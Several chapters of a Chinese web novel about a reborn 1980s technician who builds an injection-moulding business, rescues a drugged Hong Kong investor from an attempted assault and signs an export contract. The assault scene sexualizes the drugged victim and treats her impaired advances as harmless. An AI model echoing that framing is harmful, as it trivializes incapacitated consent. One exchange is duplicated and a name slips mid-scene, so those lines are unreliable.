刘静怡好奇地开口问道:“怎么吃了这么些就已经吃撑了?先前你吃过什么东西吗?”
面馆老板正好在旁边扫地,听到这话,顿时停下了动作,侧着耳朵,想看杜国强怎么狡辩。
杜国强白了对方一眼,也不搭话,清了清嗓子,开口问道:“明天晚上你有时间吗?我请你去参加个舞会。”
“舞会?”刘静怡愣了一下,道,“那岂不是有很多人?万一被别人知道了,咱俩搞对象那该咋办?”
“知道便知道呗。法治社会,恋爱人人平等。就这样定了,明天下午我来接你。”
说完,杜国强便将刘静怡送回了筒子楼,自个往家中走去。
先前他本来打算一个人去参加舞会的,但是想了想,舞会要是不带个伴,多少会有些尴尬。
竹青莲都说了,她是应朋友邀约,舞会上肯定不会缺少舞伴。
自己可不想跳舞的时候孤苦伶仃一个人,索性就想拉上刘静怡。
早几年舞会还没这么流行,杜国强印象中,交谊舞会也就是这一两年才渐渐火起来的。
这类涉及男女接触的舞蹈,以前同样被视作资本主义的洪水猛兽,遭人批判。
思想放开后,人们才初步接受了这种社交方式。
交际舞率先在年轻学生和工人中间流行开来,没什么特别要求,对舞蹈熟练度也不做限制,只要穿着得体、不像乞丐,随便找个地方就能混进去。
这次,举办地点在一个工人家属院的地下防空洞。
等杜国强带着刘静怡到现场时,这里已经布置得差不多了。
一台厚重的收音机里,正放着盗版的邓丽君的《甜蜜蜜》;一旁的大桌上摆着两壶茶水、几碟瓜子。
另一张桌上则放着玻璃瓶装的橘子味汽水——这倒让杜国强有些诧异。
看来举办舞会的是个公子哥,不差钱,竟然还有汽水喝。
杜国强也不矫情,趁着没人注意,直接左右各提了两瓶,把其中一瓶递给刘静怡。
这举动惹得刘静怡白了他一眼:“你能喝这么多?”
杜国强笑了笑,道:“就当劫富济贫了,不喝白不喝。”
过
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了一会儿,舞会逐渐热闹起来。
竹青莲也在这时候到了现场,看见杜国强,便朝他招招手,走了过来:“我刚还担心你找不到路,打算派人去你家找你呢。”
杜国强笑道:“竹女士这可就折煞我了。我是土生土长的陆川人,这附近连老鼠钻的洞在哪儿都门儿清,还能找不到一个地下防空洞?”
说着,他又伸手指向刘静怡:“这是我对象刘静怡,你们先前应该见过。”
竹青莲伸出手,大大方方地跟刘静怡握了握,笑道:“我原本还在琢磨,是哪只金丝雀把我们杜技术员这优质男性给勾走了,原来是刘静怡小姐。”
她打量了杜国强一眼,打趣道,“这么一看,他可算不上优质男性,顶多算坨牛粪。你这是鲜花插在牛粪上喽。”
“没有牛粪的滋养,鲜花能茁壮成长吗?”杜国强率先表示反对。
“说你胖你还喘上了。”
刘静怡没料到杜国强如今的脸皮竟厚到了这地步。
照以前她对杜国强的印象,这会多半要找个地方躲起来,眼下却能开得起玩笑了。
“不跟你们多说了,”竹青莲道,“我那位朋友还在等我一块去跳舞呢。”她指了指站在防空洞高处的一名男性,“一会咱们切磋切磋,看看港岛的舞步和内地的舞步有什么不同。”
“好啊。”杜国强应下来,心里却生出一丝疑惑——这个被称作刘静怡朋友的人,他似乎在哪儿见过,有种莫名的熟悉感。
不过他思索半天,依旧没什么答案,也只好暂时作罢,跟刘静怡跳起了交际舞。
“不对,我肯定在什么地方见过他。”
杜国强心中突然涌起一股强烈的不安,开口询问刘静怡:“这个举办者你认识吗?”
刘静怡眨巴了一下眼睛,道:“咱们陆川区大名鼎鼎的富商之子罗振宇,你不认识啊?”
这名字如同一道电流,瞬间穿过杜国强的大脑。“坏了,要坏事!”
他瞬间脸色苍白,焦急地在舞会上搜寻起刘静怡的身影,对方果然消失不见了!
第75章 闹出人命?
直至刚才,杜国强才算彻底想起这位罗振宇究竟是何等人物,以及他为何会感到熟悉。
杜国强曾经在报纸的照片上见过罗振宇,时间是1983年。
当时,在邓公的带领下,全国刚刚进入严打阶段,大力打击青年犯罪——这一时期的流氓地痞层出不穷,给社会安定造成了很大危害。
而罗振宇,就是严打开始后陆川区抓的典型。
这小子看上去斯斯文文,实际上却是个衣冠禽兽。
他利用家里的权势,勾结了一帮狐朋**,给自己的组织取了个“狠人帮”的名号。
刚开始为非作歹时,还能凭借家里的权势躲过去;直至后来,手段愈发残忍,差点在陆川区闹出和北方616红旗农场**一样的案子来,这才让陆川区将其连根拔起。
他被当天审判、当天**,在陆川区的犯罪史上留下了臭名昭著的一笔。
对方的主要犯罪手段之一便是**,通过给被害女子服用**的方式满足自己的私欲。
只要是看上去有些姿色的女性,几乎都难逃厄运。
杜国强之所以对这位仁兄印象很深,完全是因为对方实在太过胆大妄为,一度连省厅的女儿都不曾放过。
现在来看,对方这次邀请竹青莲来参加聚会,那就是司马昭之心,路人皆知了。
想到这,杜国强深吸了一口气,扭头望向刘静怡:“静怡,你现在赶快到派出所,叫警察来。”
刘静怡手里还拽着一瓶冰凉的汽水,听到这话,神色也凝重起来:“是出什么事情了吗?”
“我怀疑这罗振宇可能想对竹青莲施暴。”
刘静怡吃了一惊,吓得连汽水都掉在了地上,周遭人的目光顿时**在她身上。
“我现在就去!”刘静怡说着,便带着些慌张一路小跑,去寻警察了。
她也知此事事关重大——竹青莲作为港商,对内地招商引资有着重大意义。如若她在内地遭受**,势必会引起国家层面的问题。
派出所离这儿少说也有好几里路,来回即便坐车,也得几十分钟。时间上怕是来不及了。杜国强皱起眉头,心说这功夫怕是快**都能准备第二轮了。
不行,必须做点什么。
杜国强大步走到交际舞会的人群中间,看向先前几位跟罗振宇交谈甚欢的年轻子弟:“你们是罗振宇的小弟?知道他现在在哪吗?”
“你是谁啊?”那几个人鼻孔朝天,一副愣头青的样子,“找罗哥什么事?”
杜国强抬脚就踹在对方后腰上。
“你敢动手打我?”对方勃然大怒,就要招呼周边几个小混混围上来。
杜国强皱了皱眉,一把拽起对方的头发。
“哎哟**,松手,疼死我了!”
杜国强语气平淡:“你早一秒告诉我罗振宇在哪,我就早一秒松开。要是这小子今天闹出人命,你们几个都吃不了兜着走,懂吗?”
“闹出人命?”小混混脸上露出一丝慌张,支支吾吾地说道,“罗哥就是跟那女老板玩玩,不至于弄出人命来吧?”
果然,就是罗振宇带走了竹青莲!
“快说!不说现在就把你送警察局!”杜国强再次一脚踹在对方身上。
“就、就在防空洞最里面……罗哥在那地方给自己弄了个小房间。”
把防空洞改成自个的小房间,杜国强顿时无语。这罗振宇,不得不说,还真挺有创意的。
杜国强瞅了瞅周边,见有一根断掉的栏杆,便将其提在手里,照着小混混的指引,往防空洞里面走了过去。
好热……这是哪?我要回酒店休息。
竹青莲睡眼朦胧,脸色红润,被罗振宇搀扶到了床上。
“嘿嘿,竹小姐,这就是酒店房间啊。”罗振宇看着面前宛如小猫般任自己摆弄的竹青莲,忍不住吞咽起口水。
这身材,这脸蛋,简直是个尤物,和自己以前玩的那些山野村姑完全是两种模样,怪不得是港岛来的呢。
罗振宇舔了舔嘴唇,朝竹青莲的上衣伸过手去:“竹小姐,休息得把衣服脱了呀。”说着,便动手解起竹青莲的扣子。
虽说竹青莲此刻在药物作用下已有些神志不清,但意识中还残存着一丝理智,察觉到不对,她拼命推搡着对方:“我自己来,请你离开我的房间!”
“竹小姐
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别客气嘛,还是让我来帮你吧。”罗振宇再也不掩饰自己的狼子野心,猛地朝竹青莲扑了上去。
“不要……”竹青莲无力地喊叫,只是她的声音此刻显得格外脆弱。
就在这时,罗振宇忽然听到“咣当”一声,房门被猛地撞开。
还没等他回头望去,后脖颈便被一个铁钳般的物件死死锁住。
而后,他整个身子便飞了起来,被狠狠地甩在了墙上。
“**!”罗振宇吃痛,跌跌撞撞从墙角爬起来,死死盯着杜国强,“小子,你是谁?”
杜国强没理会罗振宇,径直将竹青莲扶起来,轻轻摇晃着她的脑袋:“竹小姐,竹小姐,清醒一下!”
“好热……好热……”竹青莲没有回应,只是无意识地开始拉扯自己的衣服。
因药物作用渗出的香汗,浸湿了竹青莲的外衣,朦朦胧胧的春色透过衣服浮现出来。
女强人那副楚楚可怜的模样,即便是杜国强也有些难以克制。他赶忙掉转过头,深呼了一口气,压下了内心的那股邪念。
“**给我滚出去!”罗晨月歇斯底里地开口喊道,死死地盯着杜国强道,“你知道我是谁吗?敢招惹我,弄死你!”
“我知道罗振宇吗?”杜国强淡淡道,“知道我的身份,你还敢闯进来?”
罗振宇难以置信地望向杜国强。
“怎么着?知道你是罗振宇,家里有些权势,就该放纵你随便**妇女、践踏他人?”杜国强冷笑了一下,道,“我可没这个心情,你还是跟警察慢慢讨论你的权势去吧。”
“知道我是罗振宇吗?”
“嗯,知道。”杜国强点点头道。
罗振宇难以置信地望向杜国强。
“知道我的身份,你还敢闯进来?”
“怎么着?知道你是罗振宇,家里有些权势,就该放纵你随便**妇女、践踏他人?”杜国强冷笑了一下,道,“我可没这个心情,你还是跟警察慢慢讨论你的权势去吧。”
杜国强见状想要去追,却猛地被身旁的竹青莲拽了一把:“别、别走,留下来陪我。”说着说着,竹青莲便轻轻地将杜国强搂住。
第76章 签订合约
药效发作了。
杜国强皱了皱眉头,眼下也不知道罗振宇这畜生究竟给竹青莲灌了些什么。
他尽量克制自己内心深处那股**,深吸一口气,将竹青莲按住。
“你先冷静冷静,等会儿医生应该也会跟着来的。”
“抱我,抱我……”竹青莲对杜国强的话视若无睹,晃晃悠悠地又缠上他的身子,眼泪抽搭搭的,“我好难受,杜国强,你帮我一下……”
“竹小姐,你得克制自己。”杜国强道。
可惜,竹青莲此刻早已被欲望冲昏了头脑,见杜国强没有动手帮自己,便主动脱去身上的衣服,极为渴望地搂着他,舔舐起来。
好在这种药的持续时间不算很长。
过了十五分钟,竹青莲终于找回了一丝残存的意志,很快便明白了自己刚才在做什么,顿时一脸慌张地穿起了衣服。
“我们刚才……”
杜国强有些尴尬地咳嗽了一声,举起双手以示清白:“都是你主动的,我纹丝未动。”
回想起刚才的情景,竹青莲顿时脸蛋烧得像块红炭,望着杜国强的神色也多了几分复杂。
刚想说什么,派出所的人忽然气喘吁吁地赶到了现场。
“竹青莲小姐是吧?我是陆川区派出所的所长。”来人开口道,“刚才局长打电话来,没想到竟然是您被小混混欺负了。您放心……罗振宇刚才已经被我们抓住了。”
竹青莲点了点头,恢复了往日女强人的神色:“好,那便好。”说着,她扭头就走,转身的过程中,还望了杜国强一眼。
“这、这以后还怎么见面啊?”杜国强忍不住一阵悲鸣。
原本他还打算靠着竹青莲这条线顺利登上钢道列车,眼下的局面,却完全是两人未曾想过的走向。
“杜国强,你没事吧?”
正说着,刘静怡也气喘吁吁地跑了过来,满脸担忧,“竹小姐呢?我怎么没看见她?”
“竹小姐已经被带走做笔录了,刚刚离开。”杜国强道。
“真没想到这罗振宇竟然是这么一个畜生!”刘静怡有些气愤,“像他这样的人,就应该被**才对!”
出了这种事,交际舞会自然没人再有兴趣继续下去,众人一个个各自回了家。
罗振宇的那几个小弟也被带去调查,杜国强则送刘静怡回了她自己家中。
第二天,陆川区的处理结果就下来了。
由于此事关系重大,且涉及外宾,区领导专门给省部级领导打了电话,汇报了情况。
省部级领导一听涉及的是港岛知名爱国主义大集团的**人,这还了得?当即决定特事特办,连夜召开省部级会议,最终一致决定对罗振宇判处**,立即执行,且任何人不得求情。
罗振宇的父母听到这个结果,差点没哭断了嗓子。
不过这一切都是他们咎由自取,正是因为太过放纵罗振宇,才导致他落得今天的恶果。
由于知道竹青莲是受害人,警察那边也没有过多为难她,仅仅录了份笔录,便将她送回了酒店。
第二天,竹青莲亲自打电话邀请杜国强到酒店面谈。杜国强特意带了些特色小吃……麻花。
“吃些甜的,恐惧能少些。”见到竹青莲后,他便将那篮子麻花递到对方手里。
竹青莲愣了一下,随即笑着接受了这份礼物。
“杜先生还真是别出心裁,头一次见人送女孩子礼物送麻花的。要是换成钢道港岛的那些男孩子,手里怕是都捧着鲜花呢。”
杜国强开口反问道:“那我去给你买些花回来?”
竹青莲摇了摇头:“不,我喜欢吃甜的。”
她从篮子里拿出一块干麻花咬了一口,觉得味道不错,竟一口气硬生生吃了一整个。
杜国强敬佩地点了点头,虽说对方是刚来的大老板,却一点不摆金枝玉叶的架子,连麻花这种内地小吃都吃得下去。
“听说罗振宇被判**了?”竹青莲开口问道。
杜国强点了点头:“嗯,**,下午四点就正式执
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行了。”
“希望这件事不会影响到竹女士您投资内地的信心,这只是小概率事件。像罗振宇这种胆大包天的流氓,在内地还是很少见的。”
竹青莲点了点头道:“我知道,这算个什么挫折?要不是那畜生给我下药了,借他十个胆子也近不了我的身。”
这话霸气十足。
杜国强这才想起来,对方在钢道是跆拳道黑带,平日里也坚持健身,论体格不比一般的男性弱。
“昨天晚上我们之间……”竹青莲伸出手轻轻比划了一下,咬了咬红唇,轻声说道,“我希望那件事能成为你我之间的秘密,不要跟外人说。”
杜国强连忙点头:“晓得了。”
这事儿没法细讲,真跟外面说了,自己差点跟港岛大老板擦枪走火,对方那双咸猪手在自己身上游来游去?
怕是这事闹大了,刘静怡都要跟自己闹分手。
哎,算了。
好歹自己是个男的,也算是占了便宜,吃点哑巴亏也没啥。
听到杜国强答应,竹青莲这才松了口气。她找了个发带,将刚洗过的头发扎起来,湿淋淋的发丝间,水珠顺着脸颊滑落,衬得肌肤愈发温润细腻。
“接着说说我们上次谈的汽车零部件价格吧。”竹青莲开口道,“我想了想,也跟马瑞贸易的一些高层沟通过,我们同意,可以在之前的价格基础上,再给杜先生你上涨一些,比如5%到10%这个范围。”
杜国强咂了咂嘴,刚要开口,却被竹青莲拦住。
“杜先生,请你相信,我们给的已经是极限价格了。虽说你做的汽车零部件,在精度、强度方面确实比一般产品优越,但抛去运营和风险清除等费用,实际上我们马瑞集团赚不了太多。”
杜国强思索了片刻,觉得这确实是马瑞集团能给出的极限价了。他不再磨蹭,点了点头:“好,我答应竹小姐,马上就可以和马瑞集团签订合约。”
竹青莲笑了笑:“好,那就祝我们合作成功。”
第77章 谈生意
直到竹青莲盖上章,将红字黑纸的合同递给杜国强时,杜国强依旧感到有丝梦幻。
这算不算是反向出口了?
在全国各地都在兴起向国外学习、进口外国工业产品的时候,自己却反其道而行之,成功将产品销售到了港岛。
杜国强再次确认了下合同。
双方约定首批供货要达到1000套,包括汽车挡板、发动机管材等注塑零件,纸面合同金额达到了3万余元。
即便刨去人工开销以及原材料、设备等磨损,也是有赚头的。
杜国强预估到自己这笔生意至少能赚5000块以上。
啥时候打过这么富裕的仗了?
杜国强咂了咂嘴,主动站起身来,对竹青莲道:“竹小姐,为表心意,我请你去吃饭。最近这里新开了个羊肉铺子,老板是从内蒙那边来的,做的一手好涮羊肉。”
竹青莲犹豫了片刻,礼貌地笑了笑:“杜先生,我最近还是想一个人静静。”
先前遭受的刺激太大了?也难怪,虽说女强人,但是女强人也是女的,差点遭受流氓侮辱,放在谁头上也受不了。
杜国强心里虽有猜测,但还是满口表示理解。
就在这时,酒店客房的房门响起。
“请进。”竹青莲开口道。
一个穿着靓丽红色礼装的服务生站在门口,开口道:“竹女士,酒店大堂来了一位女士,叫刘静怡,说是来找杜国强的。您看方便让她进来吗?”
刘静怡来了?杜国强这才想起,自己先前同刘静怡有过见面的约定。
“不必麻烦了。”杜国强笑了笑,跟竹青莲握了个手,“眼下既然生意谈成,那我也就不过多叨扰。竹女士,这些日子好好休养。若是有什么需求可以再次联系我。”
两人就此告别。
杜国强在酒店大堂找到了刘静怡。
“杜国强!”
这小妮子气鼓鼓的,手里攥着一本模具设计方面的专业书。
“不是说好今天早晨帮我补习的吗?怎么我听阿姨说,一早你就来酒店找人家港岛大老板了?”
“谈生意啊。”杜国强道。
“哼,我看你就是想安慰人家美女。”
刘静怡赌气地鼓起了嘴,在杜国强的催促下,不情不愿地走出了酒店大门。
而这一幕,被楼上隔着窗户瞭望的竹青莲看了个一干二净。
竹青莲晃了晃酒杯里的红酒,望着杜国强的背影有些失神。
也不知道是酒精作用,还是回想起了昨天和杜国强的疯狂举动,她的脸上逐渐浮上了一丝红晕。
……
“这些日子,我估计吃住都要在厂房。你趁这个时间学习,很快咱们的生意就会越做越大,到时候你要挑起大梁来。”杜国强嘱咐着身边的刘静怡。
他有预感,这次合约签订后,很快各个地方的厂商都会找上来。
到那时,仅凭他画图的速度,怕是画不了几套模具。
所以他才给刘静怡排下任务,让她跟着来学机械设计,好赶快出师。
刘静怡见杜国强认真,也点了点头道:“晓得了。”
“我岳父那边没问题吧?安阳厂能够忙活开吗?”杜国强问向刘静怡。
“安阳厂倒是忙……除了原先从八零厂手里拿到的那些订单之外,最近不是又把王五爷那里丢掉的生意抢回来了吗?他每天忙得找不着家。”
“不过他也说了,不缺我们两个技术员操劳。”
两人说着说着便来到了注塑机旁边。
李江一正在捣鼓着注塑机上的模具,轻轻地用小刀刮着上面的泥垢。
杜国强对他开口道:“江一,你嫂子最近也跟着咱们一块干,她负责画图。”
李江一抬起头来愣了一下,询问杜国强:“国强哥,咋还让人家女生来厂子里帮忙呢?这点粗活,咱们两个大男人不行吗?”
杜国强大大咧咧道:“时代平等了,男女没区别。甩开膀子向前干!咱们现在流着血和汗,以后就会换成大把的票子回来。”
三人正式开始了在注塑厂的忙碌。
有了这股加班加点、没命干的劲头,没到半个
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月时间,杜国强答应竹青莲的1000套零件便已经准备就绪。
竹青莲联系相关人,直接将这批货送到了港岛。
又在港岛的码头上分装到几个不同的地方,成功将这批零件发往了各大汽车厂商。
很快,这批质量超绝的零件在世界各地掀起了一股小旋风。
所有用过这零件的厂商,都知道这东西来自大陆。
唯独被蒙在鼓里的,是国内的几家汽车制造厂商。
……
东华区,太华汽车厂中,厂长刘明红正烦躁地一根接一根点着烟。
太华汽车厂是苏联援建时期设立的资深汽车厂商,建国初期,主要以仿制苏联老式吉普车为生产任务,全国近乎1/5的吉普车都出自这家制造厂。
但随着国际汽车产业愈发鼎盛,噪音大且耗油量高的吉普车逐渐被市场淘汰。
上面要求太华汽车厂研制新款汽车。
可刘明红觉得自己根本没那个能力。
眼下别说自研汽车了,就算是制造汽车所用的零件,都被西方国家卡得死死的。
刘明红当然知道零件对于制造汽车的重要性。一款合格的汽车,各部分零件必定要经受住综合性能的考验。
国外的厂商不卖给太华零件。
太华在这种情况下,根本不可能造出质量合格的汽车。
就在刘明红烦躁之时,秘书却敲响了门:“刘厂长,您在办公室吗?”
刘明红皱了皱眉头道:“进。”
秘书急匆匆地走了进来,刘明红开口问道:“有厂商答应咱们购买零件的需求吗?”
秘书摇了摇头道:“我一共联系了14家厂商,其中13家都拒绝了,剩下的一家需要等半年后,他们把手头上这批零件消耗完之后再看。”
半年之后......
刘明红大失所望,这不就是画了个饼吗,谁知道半年后,国际市场是一个什么情况。
刘明红忍不住叹了口气:“哎,难道咱们国内真的就造不出一台合格的,符合国际标准的汽车?”
第79章 发工资
“玛瑞贸易的首批汇款打过来了。”
杜国强说着,又从一旁的纸箱子里提出两袋大米放在地上。
“这些日子你在厂子里忙里忙外,吃饭都是自己垫的钱,你就收下吧。”
李江一打开牛皮纸信封,数了数,顿时吃了一惊——杜国强足足给了他八张大团结。
“这、这我咋受得起?”李江一一脸懵,连忙推搡着要把钱还回去,“太多了,有个二三十块意思一下就成了。”
杜国强摇了摇头,又把钱推了回去:“拿着,该你的就是你的。你要是偷奸耍滑,我也不会给你这么多。”
见杜国强态度坚决,李江一这才把钱收了下来。
“国强哥,谢谢。”李江一感激地给杜国强鞠了一躬。
说实在的,他先前心里其实有些犯嘀咕。
来了一个多月,杜国强半句没提工资的事,两人成天忙得脚不沾地。
虽说大多时候杜国强在厂里会把两人的饭一起买了,可有时候他不在,李江一就得自己掏钱。
一来二去,老爹从家里给的那些钱眼看就要花空了。
原本他还想着,要是杜国强再不给工资,自己帮衬着忙活几天就走,没想到不仅发了,还足足给了八张大团结。
“我嘞个亲娘哎!”
李江一暗自咋舌。
十里八乡的,谁家娃娃能挣上80块钱一个月?
一时间,他心里涌过一阵豪迈,看以后谁还敢说自己是给个体户干活的!
“对了,”杜国强忽然想起件事,对李江一说道,“你回到村里之后,帮忙打听打听,看有没有年轻人想出来干活的。”
“三四十岁、四五十岁的也成,但一定要勤奋、手脚麻利。给他们的工资自然比不上你,但我能保证,绝对能让他们衣食无忧,攒个四五年钱,娶个媳妇肯定没问题。”
招人这事,杜国强早有打算。
现在厂子的订单是不缺的,但是产能有些跟不上了。设计方面,他可以和刘静怡挑大梁,慢慢将厂子扩起来。但是熟练的工人是个硬伤,这东西没办法速成,得靠时间和钱一点点的往出砸。
尤其未来国内的汽车市场要达到上亿量,自己要是真想吃到一点红利的话,提前布局才是王道。
李江一深吸一口气,要招人了?
看来杜国强这是打算扩大规模,真要干成大厂子了。
李江一爽快地答应下来:“放心吧,国强哥。这赚钱的机会,谁还能错过?村里不少人在家闲着也是闲着,一叫一个准!”
“那国强哥,我这就走了,要是着急,给我打电话叫我回来。”
杜国强点点头:“好。”
他目送李江一离开注塑厂,转身拿起一根树枝在地上比划起来。
玛瑞贸易的首批汇款到了45000块,刨去各种损耗,杜国强到手大概3100块。
“乖乖。”杜国强咂了咂嘴。
重生之后,他领过安阳厂和八零厂发的奖金,可加起来还不够这3100块的零头。还是做生意来钱啊。
虽说这3100块里得留相当一部分做扩大生产的资金,可也足够让他神气一阵子了。
杜国强打算等忙过这一阵后,给家里置办点家具。
三大件?买最好的!
……
双水村离城里只有几十公里路,李江一原本打算像往常一样跑回去,能省下一块多钱的车费。
但今天他没这么做,反倒像城里上班的人那样,买了张车票,舒舒服服地坐在大巴后座往家赶。
一来是现在手里有钱了,负担得起车费。
二来是手里提着杜国强给的两袋大米,真要跑回村里,可得费不少劲。
不得不说,坐在车上就是比顶着毒太阳在路上跑舒坦多了。李江一心里满意得很,在车上晕晕乎乎睡了一觉,再睁眼时,已经到了双水村附近。
“同志,前面双水村路口停一下。”李江一急忙朝司机喊道。
车门打开,他拎着大米顺势下了车,往自己村子走。
“江一,你咋回来了?”
赫然间,李江一看
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见村口坐着几个聊天的老汉,其中一个正诧异地朝他开口,正是他亲爹李天水。
“爹,我放假了。”李江一笑得露出了牙齿。
李天水一两个月没见儿子,此刻有些激动,上下打量着他,满脸心疼:“咋黑了这么多,还瘦了?是不是杜国强给你安排的活压力太大?哎,我早说了,跟着个体户干没什么发展。”
“不是,爹,**的这活性质就是这样,况且我也乐意干。”李江一解释道,“这次回来在家歇几天,之后还得回去呢。”
说着,他抖了抖手里的两袋大米,“您看,这是国强哥发的福利,过节大米,拿回来孝敬您和我妈。”
李天水却冷哼一声,满脸不满:“上次你给家里写信,说杜国强还没给你发工资,这都放假了就给你两袋大米?这没良心的小子,倒是会算计。依我看,你那活还是别干了。”
“就是啊大侄子,”旁边一个老汉也跟着劝道,“干啥活不好,非得学着去干个体户?你哪怕去村委会,让你爹给你安排个义工,虽说不发工资,以后说不定还有机会吃公家饭呢!”
“整天跟着个体户混,不清不楚的,以后哪家闺女还愿意嫁给你?”
听着身旁老哥们对自家儿子的数落,李天水心里多少有些不舒服,可人家说的也是实话。
他叹了口气,对李江一道:“是啊,江一,要不你就回来吧,爹妈还能养得起你。全国多少知青都在家里吃白饭,也不差你一个。”
李江一把大米放在地上,咳嗽了一声,挠了挠脑袋:“爹,其实我这次回来,有件事想麻烦您帮着张罗张罗,尽快把我的婚事给定了。”
说着,他从兜里掏出50块钱,递到李天水手里,“这钱您先拿着忙活,等我下个月发工资再给您添。”
“杜国强给你发工资了?江一。”李天水一脸震惊,“这是第一个月的工资?五十块钱,这么多?”
李江一摇了摇头道:“不,爹,我现在工资一个月八十块。”
……
第80章 有钱能使鬼推磨
李江一一番话震得众人哑口无言。
照理而言,80块的工资不是不存在,像是一些煤炭厂,矿工们肯下功夫,一天忙活十多个时辰,能拿到80块以上。
此外,一些重工业或行业重要的工作,也能有不错的收入。
李天水的一个侄子在炼油厂当工人,一个月综合工资76块5,可那些行业,不是玩命拼脑子,就是玩命拼身体。
而李江一只是在城里当个普通工人,每天就是设备开机、设备关机。
虽说人看着瘦点、黑点,但也没到了要玩命的地步。
李天水心里突然生出一股自豪感,腰杆子顿时硬了起来——他儿子也是能挣高工资的精英人士了,先前贬低个体户的话早忘到九霄云外。
个体户真是好,个体户真是妙啊!
当了一辈子老顽固的他,忽然觉得该响应国家号召了。
“我说什么来着?我们江一退伍回来,有本事又帅气,前途肯定差不了!”李天水笑得合不拢嘴。
身旁两个老汉一脸不自在,先前还摇头晃脑说李江一这工作不好那不好,此刻换了副模样。
其中一个讪讪地问:“我说老李,那现在这情况,你还用我去计生所帮你打听招不招临时工了吗?”
“去去去!当什么临时工?”李天水呵斥道,“临时工一个月才十多块,够谁吃够谁喝?我儿子现在是一个月拿80块的成功人,犯得着去干那活?”
“妈的,小人得志。”
周边几个老汉一脸酸相,可也没办法,人家确实该得意,哪家单位能有这么高的工资?
要是让那些下乡返乡、闲在家里没工作的知青知道了,怕是能把杜国强注塑厂的门挤破了也要进去。
“我说哥几个,工作不用你们介绍了,但谁家有中意的闺女,可得给我儿留着啊,最好是屁股大点、能生娃的,给我来个大胖孙子。”
李天水赶忙说道。
“王二丫那个大闺女咋样?屁股大。”有个老汉搭腔。
“滚!那都二婚了,跟我儿子搭吗?”
几个老汉七嘴八舌地盘算着该给李江一介绍怎样的对象。
李江一见这幕十分感慨,放在一个月前,自己连找对象的心思都不敢有,现在却能谈婚论嫁了。
“注塑工这条路选的好啊。”他暗叹。
晚上,李天水久违地开了一壶山酒,跟李江一喝起来,顺便询问杜国强公司的情况。
往日他虽听过,却没细致探究,见儿子拿80块工资,才真正产生兴趣。
“注塑?就是用模具塑料粒子,挤压一些塑料件出来。”
李江一费了番口舌解释,忽然问道:“爹,国强哥最近打算扩张厂子,想在咱们双水村找几个能干活、肯吃苦的人,村里现在有谁闲在家?您帮我推荐几个,明天我上门问问。”
“还要扩张生意?”李天水赞叹不已,“这小子还真要做起来了!别急,爹给你想想。”
他摸了摸胡子,忽然眼睛一亮,舔了舔嘴唇试探着问:“江一,你看爹去当个工人咋样?”
李江一听了,顿时一愣,随后苦笑道:“爹,您在这凑啥热闹?您这村支书不当了?”
“哎,别提了,下个月就换*届了。”
李天水摆了摆手,“就村支书这俩补贴,实在没啥赚头。再说我在这位置也坐了好多年,是时候放权给你二叔他们了。”
“可您这身体能行吗?”李江一有些犯愁,“国强哥特意嘱咐过,要身强力壮的。”
“咋不行?”李天水顿时有些急,捏了捏自己的胳膊,“你瞧瞧爹这块头,不比你们年轻人差!”
李江一见状也不敢直接拒绝亲爹,只能搪塞道:“这我回头问问国强哥吧。不过得提前跟您说好,就算您真能去,工资也只能是正常水平,八十块肯定拿不到的。”
“有口饭吃就行!”李天水嘿嘿笑起来,拍着胸脯说,“放心,招工这事儿简单得很。明天爹就在村支部喊两句,保准一个时辰内把剩下的人给你叫齐!”
李江一点了点头:“成,那我一会儿给国强哥打个电话说说。”
杜国
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强压根没料到招工能这么顺利,原本以为得费上几天功夫,没想到在高工资的诱惑下,连李江一的亲爹都要重出江湖来给自己打工。
“有钱能使鬼推磨,这话真是不假啊。”杜国强感慨一句,敲响了八零厂厂长办公室的门。
“请进。”屋里传来朱厂长的声音。
杜国强推门进去,见朱厂长正低头忙着什么,手里似乎在把玩东西。
“朱厂长,您上次跟我说,要跟我签合同把北边那块厂房完全承包给我的事,考虑得怎么样了?八零厂这边应该有结果了吧?”
朱厂长这才抬头,赶忙站起身笑道:“小杜啊,这事我还真忘了,这两天正捣鼓别的东西呢。不过你放心,你给八零厂立了这么大功劳,这厂房的事,回头在厂务会上一句话带过就行。”
杜国强点头道:“有您这话我就放心了。不过您这是在研究什么?这两天在外面都没见到您。”
朱厂长嘿嘿一笑,把桌上那个黑不溜秋的东西递到杜国强手里:“注塑件,你不知道?这两天在咱们国内火疯了!好几家国外大公司都找到国内来,想打听生产这东西的厂家在哪。”
杜国强端详着手里的零件,顿时一愣——这不就是自己卖给朱庆莲的注塑件吗?
他连忙问道:“这东西应该是从港岛流出去的吧?他们就没想着从港岛那边问问?”
“问了,”朱厂长叹了口气,“可人家港岛那边说这是商业机密,没经过原厂家同意,谁都不能说。哎,咱们八零厂要是也有这本事就好了。”
他忽然想起什么,看向杜国强,“对了小杜,你不是也在弄注塑机吗?你有没有认识类似的注塑厂商?说不定生产这东西的人,你还认识呢。”
杜国强摸了摸鼻子,无奈道:“朱厂长,没有别人,这东西就是我生产出来的。”
正在喝水的朱厂长,一听这话没忍住,噗地一声喷了出来,水花像天女散花似的,把面前的水仙花浇了个透湿。
“小杜,你在开玩笑是吧?”
……
第81章 低价租约
“汽车零件……该怎么跟你说呢?”
朱厂长缓缓放下手中的茶杯,开口道:“咱们国家在这个行业上已经摸索了很久,可到现在还是见效甚微。大多数技术用的都是人家苏联淘汰下来的。”
“底子薄,工业基础差——这是省部级领导在做报告时明确指出的问题。”
“别着急吃一口成胖子了。你有雄心壮志是好的,我也相信以你的能力,将来必定能在汽车事业上有所成就,但不是现在。”
朱厂长递给杜国强一根烟,笑着道:“老祖宗说了,台上一分钟,台下十年功。想要上台当角儿唱戏?这才折腾了几个月的注塑机,肯定是不行的。”
朱厂长觉得杜国强或许是个全才,能画图,能搞设计,甚至在联络生意上也是一把好手。
可现在,杜国强却说他连汽车零件都能搞,这就让朱厂长有些不相信了。
天才再厉害,终究也是人。杜国强要是连这也能干成,那可就真成神了。
杜国强见朱厂长不相信,也不再强求,转而问道:“上次您答应我的,八零厂给我们的低价租约,现在怎么样了?”
朱厂长爽朗地点了点头:“在会上已经通过了。等实地考察后,确认你们确实在用这厂房搞创造,我们就可以签手续了。”
“您什么时候有时间?”
朱厂长思索片刻,“择日不如撞日,正好现在厂里还算清闲。走吧,我倒要看看你这注塑机到底搞出了什么名堂。”
朱厂长带着杜国强蹭了八零厂的一辆专车——大吉普。
军绿色的涂装,有些零件已经老化生锈,内饰还是接近苏联时期的样式。
杜国强敲了敲车壳,只感觉里面传来沉闷的金属声,这铁壳子真厚,能有好几厘米。
同时期的西方国家,汽车发展到什么地步了?
